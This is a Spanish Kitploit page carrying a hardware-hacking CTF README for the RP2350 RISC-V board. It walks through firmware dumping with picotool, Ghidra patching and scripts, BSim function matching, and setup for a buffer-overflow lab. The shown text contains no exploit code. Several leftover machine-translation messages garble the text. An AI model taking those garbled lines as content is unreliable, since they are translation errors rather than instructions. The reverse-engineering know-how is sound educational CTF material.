Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hcon2026hwctf — Hardware Hacking CTF hcon2026hwctf - Explotación de RISCV Hazard3 (@Wren6991) por @b1n4ri0 @antoniovazquezblanco & @therealdreg | Kitploit
Herramientas/GitHubGitHub/therealdreg/hcon2026hwctf
Seguridad de Sistemas EmbebidosExplotaciónIngeniería InversaHacking de HardwareCTFAprendizaje y EducaciónAnálisis de FirmwareExplotación de BinariosLabs y Práctica
GitHubtherealdreg/hcon2026hwctf

hcon2026hwctf

Hardware Hacking CTF hcon2026hwctf - Explotación de RISCV Hazard3 (@Wren6991) por @b1n4ri0 @antoniovazquezblanco & @therealdreg

252hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web

Hardware Hacking CTF hcon2026hwctf

Si te gustan los CTF de hardware, aquí tienes el primer desafío público del HC0N CTF 2026 con desafíos de explotación RISC-V RP2350 (bajo nivel)

Hemos intentado que el desafío no sea demasiado elitista ni difícil, para que los cientos de asistentes a la conferencia tengan la oportunidad de resolver los desafíos. Espero que lo hayamos conseguido.


Si quieres ejecutar el CTF en casa, consigue una Raspberry Pi Pico 2, flashea este firmware y ¡no leas los write-ups! -> ctf.uf2

Nota para cualquiera que use una placa (RP2350/RP2354...) diferente a la del CTF:
El PCB del CTF tiene un LED SMD en el GPIO 25, debes tener un LED en ese GPIO

LED25


Cuando termines este CTF, si te ha gustado, aquí tienes otro similar con desafíos diferentes: https://github.com/therealdreg/ctfhardwarehackingcon2026

Write-ups

ADVERTENCIA: Los siguientes write-ups contienen spoilers de los desafíos. Si quieres resolverlos por tu cuenta, te recomendamos no leerlos hasta que hayas completado el CTF.

Primer Ganador: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

mrexeodia

Premio: kit keylogger de hardware okhi USB/PS2 + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi


Segundo Ganador: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

m3rino

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)


Tercer Ganador: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

p4bl0vx

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).

Consejos y trucos por @b1n4ri0 @antoniovazquezblanco y @therealdreg

Aquí te proporcionaremos algo de ayuda para que el Hardware Hacking CTF en HCON 2026 sea más fácil.

https://www.h-c0n.com

boardphoto

SO

Un host Linux debería ser tu primera opción ;-), el depurado funciona mejor.

Configuración serie

TeraTerm: Setup -> Terminal -> Transmit: CR+LF y [x] Local echo

Otros:

  • Transmit: CR+LF
  • Local echo
  • RTS
  • DTR

GUI para Linux

cutecom:``` sudo apt-get update sudo apt-get install cutecom

root@kitploit:~
# ADVERTENCIA

Uno de los retos requiere depuración de hardware. Si estás haciendo el reto desde casa (sin un compañero de equipo que tenga otra placa), entonces para resolver ese reto también necesitarás comprar estos dos artículos. (Si no los compras, no pasa nada, pero no podrás resolver ese reto específico.)

- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html

# Acerca de los scripts

Las herramientas incluidas en este repositorio fueron desarrolladas por @b1n4ri0 para la comunidad y específicamente para el HCON 2026 Hardware Hacking Challenge.


# Explotando el procesador RP2350 RISCV Hazard3 (@Wren6991) de 3 etapas RV32IMACZb* con depuración

RISCV Hazard3 es un procesador RV32IMACZb* de 3 etapas con soporte de depuración. Se utiliza en el microcontrolador RP2350 que se encuentra en la placa HCON2026HWCTF.

# Volcado de firmware RISCV Hazard3 usando picotool

Volcar firmware de dispositivos RP2350 con `picotool` es un proceso sencillo. En esta sección, aprenderás a hacerlo de manera eficaz.

Nota: `picotool` interactúa con dispositivos RP2350 (y RP2040) solo cuando están en modo BOOTSEL o si el firmware en ejecución incluye soporte USB stdio del Pico SDK.

## Compilando picotool

Instala las herramientas de compilación y las librerías necesarias mediante tu gestor de paquetes favorito.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y

Crea un directorio dedicado para mantener tus herramientas organizadas. Esto asegura que las rutas utilizadas en pasos posteriores sean correctas.```bash cd $HOME mkdir rptools cd rptools

root@kitploit:~
Clona los proyectos `picotool` y `pico-sdk`; necesitamos tanto la herramienta en sí como el SDK. Ten en cuenta que `picotool` requiere `pico-sdk` para compilar correctamente.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool

Crea el directorio de compilación y ejecuta CMake.

Importante: Debemos usar la bandera -DPICO_SDK_PATH para decirle a CMake exactamente dónde descargamos el SDK en el paso anterior, o podemos establecer la variable de entorno PICO_SDK_PATH.```bash mkdir build cd build cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk .. sudo make install

root@kitploit:~
Por defecto, acceder a dispositivos USB requiere privilegios de root. Copia el archivo de reglas de udev para permitir ejecutar `picotool` sin usar `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/ 

Recarga las reglas de udev (o desconecta y vuelve a conectar tu dispositivo) y comprueba la versión ejecutando picotool version para asegurarte de que todo funciona:```bash $ ./picotool version picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)

root@kitploit:~
## Uso del binario precompilado

Si prefieres omitir el proceso de compilación, puedes descargar el binario precompilado desde el [repositorio oficial](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool

Ejecutar picotool version debería funcionar como se espera:```bash $ ./picotool version picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)

root@kitploit:~
## Habilitar el modo BOOTSEL en RP2350

Para realizar operaciones como volcar firmware, `picotool` requiere que el dispositivo esté en modo BOOTSEL. Sin embargo, `picotool` también puede interactuar con el dispositivo si el firmware que se está ejecutando incluye soporte de USB stdio del Pico SDK.

A continuación, mencionaré varias formas de activar este modo. Elige la que te parezca más adecuada para tu caso o simplemente la que te funcione.

Si tu placa **no está en modo BOOTSEL**, pero contiene el soporte de USB stdio**,** verás una salida como esta al intentar ejecutar comandos de `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.

but:

RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.

Habilitando BOOTSEL físicamente

Este es el método de hardware estándar utilizado:

  1. Desenchufa la placa RP2350 de tu computadora.
  2. Mantén presionado el botónBOOTSEL o BOOT.
  3. Vuelve a conectar la placa a tu computadora mientras mantienes presionado el botón.
  4. Suelta el botón BOOTSEL.

Alternativa (si no quieres desenchufar la placa):

  1. Mantén presionado el botón BOOTSEL.
  2. Presiona y suelta el botón RESET o RST.
  3. Suelta BOOTSEL.

Ahora deberías poder ejecutar comandos picotool:```bash $ ./picotool info Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V

root@kitploit:~
### Software que habilita BOOTSEL

Si el firmware del dispositivo está en ejecución y tiene soporte de USB stdio, puedes forzarlo al modo BOOTSEL sin tocar la placa.```bash
./picotool reboot -uf

El comando utiliza la bandera -u para especificar que queremos reiniciar específicamente en modo BOOTSEL. Sin embargo, debido a que el dispositivo está ejecutando actualmente código de usuario, picotool lo ignorará por defecto. Por lo tanto, debemos añadir la bandera -f para forzar a la aplicación en ejecución a aceptar el comando de reinicio.

Sin -f, la operación fallaría simplemente porque la herramienta espera que el dispositivo ya esté en modo BOOTSEL.```bash $ ./picotool info Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V

root@kitploit:~
**Consejo:** Puedes ejecutar comandos directamente en un dispositivo en ejecución sin necesidad de reiniciarlo manualmente primero añadiendo el flag `-f` a tu comando. `picotool` se encargará del reinicio, ejecutará el comando y reiniciará para volver a la aplicación.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Program Information
 name:          hello_usb
 features:      USB stdin / stdout
 binary start:  0x10000000
 binary end:    0x10011d50
 target chip:   RP2350
 image type:    RISC-V

The device was asked to reboot back into application mode.

Volcar el firmware del RP2350

Para este desafío CTF, podemos extraer el firmware directamente sin entrar en modo BOOTSEL.

Recomiendo recopilar información sobre el programa en ejecución. Puedes hacerlo usando el comando info, que muestra la sección «Program Information» por defecto. Dado que el dispositivo está ejecutando código actualmente, añadimos el flag -f para forzar la conexión.```bash $ ./picotool info -f Tracking device serial number XXXXXXXXXXXXXXXX for reboot The device was asked to reboot into BOOTSEL mode so the command can be executed.

Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V

The device was asked to reboot back into application mode.

root@kitploit:~
Esta salida revela detalles esenciales como el nombre del programa, su rango de memoria y la arquitectura de la imagen.

Ahora, procedemos a extraer el programa, crear un directorio para almacenar los archivos extraídos.```bash
mkdir -p $HOME/hcon2026hwctf/

Ejecute el siguiente comando para extraer el firmware:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin

root@kitploit:~
Este único comando maneja todo el proceso de extracción. Fuerza al RP2350 a reiniciarse en modo BOOTSEL, lee el programa actualmente instalado desde la memoria flash y lo guarda como un archivo binario crudo. Para garantizar que la extracción haya sido correcta, vuelve a leer los datos para verificar que el archivo extraído coincida exactamente con el contenido del chip.

Deberías obtener una salida como esta:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.

Saving file:          [==============================]  100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash:      [==============================]  100%
  OK

The device was asked to reboot back into application mode.

¡Y eso es todo! Has volcado el programa con éxito.

Nota: Ten en cuenta que solo has extraído el programa instalado, no el contenido completo de la memoria flash.

Si encuentras errores, verifica que el dispositivo esté correctamente conectado. Si el reinicio automático falla, entra manualmente en modo BOOTSEL y vuelve a ejecutar el comando sin la opción -f. Para más información sobre las opciones disponibles, simplemente ejecuta picotool help <command>.

Ingeniería inversa del firmware RISC-V Hazard3 con Ghidra

Una vez extraído el firmware del RP2350, el siguiente paso lógico es la ingeniería inversa. Para esta tarea recomendamos usar Ghidra. Sin embargo, se requieren ciertos ajustes para garantizar un análisis preciso.

Por qué Ghidra no desensambla correctamente

Al cargar el binario e intentar desensamblarlo, es probable que encuentres funciones incompletas o código visualmente corrupto. Esto no significa que la extracción haya fallado. El problema radica en que Ghidra (incluida la versión 12.0.2) no puede interpretar de forma nativa ciertas instrucciones específicas de este SoC.

La razón técnica es que Ghidra implementa las extensiones RISC-V C (comprimida) y B (manipulación de bits) basándose en un borrador preliminar de la especificación (v0.92). En cambio, la CPU Hazard3 utilizada en el RP2350 implementa la versión ratificada v1.0.0. En consecuencia, muchas instrucciones modernas son desconocidas para Ghidra o han cambiado desde las definiciones anteriores.

Para obtener información detallada sobre las instrucciones compatibles con Hazard3, consulta la documentación oficial: wren.wtf/hazard3/doc/

Aplicar un parche a Ghidra para soporte de Hazard3

Para resolver este conflicto y lograr un desensamblado correcto, debes actualizar las definiciones de procesador de Ghidra a la especificación ratificada v1.0.0.

Primero, localiza la ruta de instalación de Ghidra (p. ej., ~/ghidra_12.0_PUBLIC). Navega al directorio del procesador RISC-V y renombra la carpeta data existente como copia de seguridad:```bash export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC

cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV

mv data data_back

root@kitploit:~
A continuación, clona el repositorio que contiene las definiciones de instrucciones actualizadas y mueve la nueva carpeta `data` a tu instalación de Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git

cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/

Configuración del entorno de análisis

Con las definiciones de procesador parcheadas en su lugar, sigue estos pasos para cargar el binario correctamente:

  1. Inicia PyGhidra.
  2. Crea un nuevo Non-Shared Project (p. ej., hwctf2026).
  3. Arrastra y suelta el binario en la ventana Active Project.
  4. Haz clic en el botón "..." del campo Language.
  5. En el cuadro de filtro, escribe RISCV y selecciona: RISCV:LE:32:default:gcc (RISCV default 32 little gcc).
  6. Confirma con Ok.
  7. Haz doble clic en el icono del binario para abrir el CodeBrowser.
  8. Cuando se te pregunte si deseas analizar el binario, selecciona No.

Análisis del binario

Una vez que el binario se carga con las definiciones de procesador correctas, Ghidra podrá desensamblar los opcodes con precisión. Sin embargo, es importante tener en cuenta que normalmente trabajamos con archivos .bin sin procesar. Estos archivos no contienen de forma inherente tablas de símbolos ni metadatos que faciliten el análisis.

La cantidad de información recuperable depende por completo del origen del binario. En este caso, nuestro objetivo es un firmware RP2350 compilado con pico-sdk v2.2.0. Esto supone una ventaja significativa, ya que al usar el SDK oficial, el binario podría ser compatible con picotool. Esta herramienta nos permite identificar y extraer metadatos, siempre que el binario aún contenga los encabezados necesarios para que picotool pueda analizarlos.

De forma predeterminada, Ghidra no puede interpretar el diseño de memoria sin intervención manual. Intentar analizar el firmware sin un mapa de memoria adecuado dará resultados deficientes y numerosos errores. Esto se debe a la arquitectura de Ghidra, que requiere contexto explícito para resolver referencias.

En este escenario concreto, el programa está compilado para ejecutarse desde SRAM. Esto significa que el firmware contiene referencias activas a dos regiones de memoria distintas con diferentes direcciones base. Sin una configuración correcta, a Ghidra le cuesta seguir el flujo de desensamblado entre estas regiones, lo que complica significativamente el proceso de ingeniería inversa.

Configuración automatizada

Para agilizar la configuración y garantizar la coherencia, he desarrollado un script que automatiza el mapeo de memoria y la configuración del entorno. Aunque esta automatización simplifica los pasos iniciales, se recomienda encarecidamente revisar el código fuente del script o el README del repositorio para comprender la lógica subyacente del flujo de trabajo de análisis. Para una comprensión técnica más profunda del diseño de memoria y el mapeo de periféricos, también deberías consultar la hoja de datos del RP2350 oficial.

Tanto la herramienta de configuración Ghidra RP2350 Setup Tool como el SVD Loader para PyGhidra se han incluido directamente en este repositorio. Las siguientes secciones proporcionan instrucciones detalladas sobre cómo instalar y usar estas herramientas de manera eficaz.

Ghidra-RP2350-Setup-Tool-Hcon2026

El script hcon26_rp2350-ctf_auto_setup.py está diseñado para automatizar la configuración inicial y el entorno de análisis estático para firmware destinado a la Raspberry Pi RP2350 (núcleo RISC-V Hazard3). Esta herramienta se ha desarrollado específicamente para apoyar las tareas de ingeniería inversa asociadas al H-Con 2026 Hardware Hacking Challenge.

El firmware binario sin procesar carece de forma inherente de los encabezados de archivo y las tablas de símbolos necesarios para la carga automática. Esto obliga a los analistas a configurar manualmente los mapas de memoria, los puntos de entrada y los estados del procesador antes de que cualquier código sea legible. Esta herramienta automatiza todo ese proceso, preparando el binario al instante para la ingeniería inversa.

Propósito

Este script elimina la sobrecarga de configuración manual que normalmente se requiere para el análisis de firmware embebido. Al automatizar el proceso de carga, garantiza un proyecto de Ghidra coherente y funcional, lo que permite a los participantes centrarse de inmediato en la investigación de vulnerabilidades y el análisis de lógica en lugar de en la configuración del entorno.

Características principales

  • Configuración automatizada del entorno: Establece al instante el diseño de memoria correcto para el RP2350, definiendo las regiones Flash (XIP) y SRAM con los permisos adecuados que requiere el descompilador.

  • Detección del punto de entrada: Escanea los encabezados específicos del RP2350 para identificar la dirección real de inicio de ejecución, manejando vectores de arranque no estándar que suelen encontrarse en binarios compilados "On-RAM".

  • Resolución de contexto: Inicializa automáticamente el registro Global Pointer gp. Esto garantiza que las referencias a variables globales y datos estáticos se resuelvan correctamente en el descompilador, en lugar de aparecer como offsets rotos.

  • Reconstrucción de la sección de datos: Identifica y reubica las secciones inicializadas de Flash a RAM, replicando el proceso de arranque. Esto asegura que los literales de cadena y las variables globales aparezcan en sus ubicaciones de memoria correctas durante el análisis.

  • Recuperación de símbolos: Identifica heurísticamente la lógica principal de la aplicación y la secuencia de inicialización en tiempo de ejecución, lo que permite al analista saltar directamente al código de usuario sin rastrear manualmente todo el bootloader.

Instalación

  1. Descarga este repositorio o el archivo con26_rp2350-ctf_auto_setup.py directamente.```bash git clone https://github.com/therealdreg/hcon2026hwctf.git
root@kitploit:~
2. Copia el archivo de script en el directorio `ghidra_scripts` de tu instalación de Ghidra.```bash
cd hcon2026hwctf/GhidraScripts

cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

Uso

  1. Importa el archivo .bin de destino en Ghidra (RV32).

  2. Abre el archivo en el Code Browser.

  3. Cuando se te pregunte si deseas analizar el archivo, selecciona No.

  4. Abre el Administrador de Scripts Window > Script Manager.

  5. Busca hcon26_rp2350-ctf_auto_setup.py ubicado en la categoría RP2350.

  6. Ejecuta el script y espera a que la salida de la consola confirme la finalización. Asegúrate de leer la información de Next Steps que se muestra en la consola.

  7. Después de que el script de configuración termine, ejecuta el RP2350 SVD Loader para mapear los registros de hardware y los periféricos.

RP2350 SVD Loader for Ghidra

Introducción a los archivos SVD

Los archivos System View Description (SVD) son documentos basados en XML que contienen una descripción detallada de los registros de periféricos de un microcontrolador. Definen direcciones de memoria, offsets de registros, campos de bits y valores de reset. En ingeniería inversa, estos archivos son esenciales para mapear el espacio de memoria bruto de un binario a nombres de periféricos legibles por humanos, transformando accesos a memoria anónimos en interacciones de hardware identificadas.

Propósito

Este script es un cargador SVD para el RP2350 (Pico 2) adaptado para PyGhidra. Automatiza la creación de segmentos de memoria y definiciones de registros basándose en las especificaciones SVD oficiales.

Esta versión se ha desarrollado a partir del trabajo previo encontrado en los siguientes repositorios:

  • https://github.com/wejn/SVD-Loader-Ghidra-RP2040/tree/master
  • https://github.com/leveldown-security/SVD-Loader-Ghidra

También puedes usar https://github.com/antoniovazquezblanco/GhidraSVD desarrollado por @antoniovazquezblanco

Instalación

  1. Descarga este repositorio o directamente el archivo SVD-Loader-RP2350.py.```bash git clone https://github.com/therealdreg/hcon2026hwctf.git
root@kitploit:~
2. Copia el archivo de script en el directorio `ghidra_scripts` de tu instalación de Ghidra.```bash
cd hcon2026hwctf/GhidraScripts

cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts

Uso

  1. Importe el archivo .bin de destino en Ghidra.
  2. Abra el archivo en el CodeBrowser.
  3. Cuando se le solicite realizar el análisis automático, seleccione No.
  4. Abra el Administrador de scripts, Window > Script Manager .
  5. Busque SVD-Loader-RP2350.py dentro de la categoría RP2350.
  6. Ejecute el script.
  7. Seleccione el archivo SVD del RP2350 (el enlace se proporciona en la sección Recursos a continuación).
  8. Después de que el script termine de crear los bloques de memoria y las etiquetas, analice el binario presionando A.

Ejemplo

Recursos

  • Archivo SVD oficial de RP2350: https://github.com/raspberrypi/pico-sdk/blob/master/src/rp2350/hardware_regs/RP2350.svd
  • Repositorio de datos CMSIS-SVD: https://github.com/cmsis-svd/cmsis-svd-data

Configuración de PyGhidra

Los scripts proporcionados requieren un entorno PyGhidra funcional.

  • Inicialice el entorno virtual.```bash python3 -m venv .venv source .venv/bin/activate
root@kitploit:~
- **Instalar dependencias**```bash
pip install pyghidra cmsis-svd
  • Iniciar PyGhidra```bash $(find $GHIDRA_INSTALL_DIR -name "pyghidraRun")
root@kitploit:~
## Solución de problemas: import cmsis-svd

Si `SVD-Loader-RP2350.py` no encuentra la librería `cmsis-svd`, puedes instalarla directamente dentro del intérprete de PyGhidra:

1. En el **CodeBrowser**, ve a `Window > PyGhidra`.
2. Ejecuta el siguiente fragmento:```python
import subprocess as s
import sys

s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])

Detección de funciones pico-sdk en Ghidra

Después de configurar Ghidra y desensamblar el binario, el siguiente objetivo es distinguir las funciones específicas del desafío de las que pertenecen al SDK.

Normalmente, la herramienta estándar para esta tarea es Ghidra FID (Function ID). El flujo de trabajo consiste en compilar los ejemplos del SDK con la misma configuración que el binario objetivo para generar una base de datos FIDB, lo que permite a Ghidra identificar y nombrar funciones automáticamente. Sin embargo, FID tiene una tasa de reconocimiento significativamente baja en este caso.

Para superar esta limitación, usaremos BSim. Si bien existen otras alternativas como Version Tracking o Ghidriff, están diseñadas principalmente para comparar cambios entre versiones (parcheo de diferencias) y no son tan efectivas para este propósito específico.

Preparación de binarios de referencia a partir de pico-examples

Para que Ghidra identifique funciones mediante comparación, primero debemos generar una base de datos de referencia compilando los ejemplos de pico-sdk. Si quieres optimizar tu tiempo, puedes centrarte en los cuatro binarios esenciales mencionados al final de esta sección.

Clona el repositorio oficial de ejemplos:```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build

root@kitploit:~
### Raspberry Pi Pico Extension

Para usar estas rutas, debe estar instalada la extensión Raspberry Pi Pico de VS Code. Estas estructuras de directorio son nativas del entorno de la extensión.

Una vez instalada la extensión, configure su proyecto seleccionando **Board Type: Pico 2** y la arquitectura **Architecture (pico2): RISC-V**. Simplemente crear el proyecto con esta configuración activará la instalación de todos los recursos necesarios. No se requiere compilación adicional para este caso.

Usaremos una configuración específica para el RP2350 Hazard3, asegurando que los símbolos y el formato coincidan con el binario del desafío.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"

Por favor, proporciona el contenido Markdown que deseas traducir.```bash cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..

root@kitploit:~
No se proporcionó ningún contenido para traducir en el campo INPUT.```bash
make -j$(nproc) -k

Una vez que la compilación esté completa, agrupa todos los archivos .elf en un directorio dedicado para un análisis más fácil:```bash mkdir ../sdk-elfs find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;

root@kitploit:~
### Análisis automatizado con Ghidra Headless

Para procesar el gran volumen de archivos generados, usar el modo headless de Ghidra es lo más eficiente. Asegúrate de ejecutar el análisis apuntando al proyecto donde ya hayas configurado el binario del reto:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"

Si prefieres reducir el tiempo de análisis, procesa al menos estos cuatro archivos, que contienen la mayoría de las funciones del SDK presentes en el desafío:

  • tinyusb_dev_cdc_msc.elf
  • multicore_runner_queue.elf
  • hello_gpio_irq.elf
  • hello_timer.elf

Análisis con BSim

Cuando la identificación tradicional por firmas (FID) es insuficiente, BSim es la alternativa más potente. A diferencia de otros métodos, BSim se basa en el comportamiento y la estructura del código, lo que permite comparaciones entre arquitecturas e ignora las variaciones causadas por los niveles de optimización.

Configuración de la base de datos de BSim

Aunque se puede usar la interfaz gráfica, realizar la configuración mediante terminal es más eficiente para procesar múltiples binarios.```bash cd $GHIDRA_INSTALL_DIR/support

root@kitploit:~
Crea el archivo de base de datos H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize

Extraer firmas de los binarios ya analizados en el proyecto Ghidra:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db

root@kitploit:~
Finalice el proceso confirmando las firmas generadas en nuestra base de datos:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs

Integration in Ghidra GUI

Una vez creada la base de datos, vincúlala al Code Browser:

  1. Ve a la pestaña BSim > Manage Servers.
  2. Haz clic en el green "+" icon y selecciona el tipo File.
  3. Explora y selecciona la base de datos que acabas de crear.
  4. Haz clic en Dismiss para cerrar la ventana.

Function Identification

Hay varias formas de buscar coincidencias con BSim; la siguiente es la más recomendada:

  • En el panel del descompilador, haz clic derecho sobre el nombre de la función, BSim > Search functions.
  • Si no obtienes resultados, selecciona la opción inferior del menú de BSim para abrir el diálogo de configuración. Aquí puedes reducir el Similarity Threshold para encontrar funciones que hayan sufrido ligeras variaciones durante la compilación.

Consejo: Si estás seguro de que una función es correcta, pero sus funciones internas ("hijas") siguen sin nombre, usa la ventana de resultados de BSim:

  • Selecciona la función padre y pulsa Shift + C para abrir la comparación.
  • Haz clic derecho y selecciona Compare matching callees.
  • Renómbrala con la firma correcta.

Analysis with Version Tracking

Si la opción de BSim no se ajusta a tus necesidades, puedes usar Version Tracking.

Creating the Session

En la ventana principal de Ghidra, localiza el blue footprints icon en el extremo derecho del Tool Chest para abrir la herramienta Version Tracking.

  1. Haz clic en el blue footprints icon del menú superior izquierdo para crear una nueva sesión.
  2. Asigna un nombre descriptivo (p. ej., tinyusb_dev_cdc_msc).
  3. Selecciona el archivo ELF del SDK como origen.
  4. Selecciona el binario del desafío como destino.
  5. Continúa con las verificaciones previas. Puedes ignorar advertencias menores siempre que no se produzcan errores críticos. Haz clic en Finish.

Running Correlators

Se abrirán tres ventanas: Source Tool, Destination Tool y la consola de Version Tracking. En la ventana de Version Tracking:

  1. Haz clic en el green "+" icon (Add additional correlations).
  2. Selecciona todos los correladores disponibles. Aunque algunos puedan parecer redundantes, permitir que Ghidra los ejecute todos maximiza las posibilidades de éxito.
  3. Mantén los valores de configuración predeterminados; puedes ajustarlos en sesiones posteriores si necesitas mayor precisión.
  4. Haz clic en Finish y espera a que concluya el proceso. En general, los algoritmos basados en BSim ofrecerán los resultados más sólidos.

Validation Strategies

Una vez obtenidos los resultados de Version Tracking, existen dos metodologías principales para aplicar los cambios al binario del desafío:

  1. Análisis manual de cada coincidencia para garantizar una alta precisión.
  2. Aceptación automatizada de funciones que superen un nivel de confianza específico, realizando una revisión manual solo de los resultados dudosos.

Para implementar la segunda estrategia, es esencial filtrar los resultados para centrarse en las coincidencias más sólidas:

  • En la barra de búsqueda Filter, escribe "Function" para mostrar solo las correlaciones de funciones.
  • Recomendación técnica: se sugiere aceptar en masa funciones con una puntuación de confianza superior a 0.8, verificando siempre el algoritmo utilizado para la correlación.

Applying Matches

Para confirmar y transferir los nombres al binario de destino, usa el green tick icon (ubicado entre los iconos de bandera y disco).

Analysis Tips

  • Es habitual encontrar funciones conflictivas. En estos casos, ignora la asignación automática y valida manualmente que las definiciones sean coherentes con el contexto del desafío.
  • Intenta resolver todo en una sola sesión. Si no es posible, crea sesiones independientes para diferentes ELF del SDK y aplica los cambios de forma incremental.
  • Si identificas una función con total certeza pero los correladores no detectan funciones adyacentes, comprueba su ubicación en el archivo ELF original. Debido a la estructura de compilación, es muy probable que la función que buscas se encuentre en una dirección relativa similar dentro del binario del desafío.

Dependiendo de tu estilo de análisis, puedes optar por dos enfoques:

  1. Comenzar directamente con la ingeniería inversa de main. A medida que encuentres funciones desconocidas, usa BSim para identificarlas.
  2. Aplicar FIDB primero para establecer las funciones básicas y luego ejecutar Version Tracker con el correlador de BSim para nombrar todo el SDK de una vez.
  • FID Tutorial

Elige el método que mejor te funcione.

Más información sobre BSim:

  • BSim Tutorial

Aprende a explotar un Buffer Overflow clásico en RISCV Hazard3 usando el emulador Spike

Compilar Spike```

sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev

root@kitploit:~
The input chunk is empty — no content was provided to translate.```
cd /home/dreg 
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin

I don't see any content to translate. The input after "INPUT:" is empty. Please provide the actual chunk text.``` cd /home/dreg/RISCV git clone https://github.com/riscv/riscv-pk git clone https://github.com/riscv/riscv-isa-sim git clone --recursive https://github.com/riscv/riscv-gnu-toolchain

root@kitploit:~
I don't see any content to translate in this request. The input section is empty. Please provide the Markdown chunk text you'd like translated into Spanish.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make

Por favor, proporciona el contenido Markdown que deseas traducir.``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install

root@kitploit:~
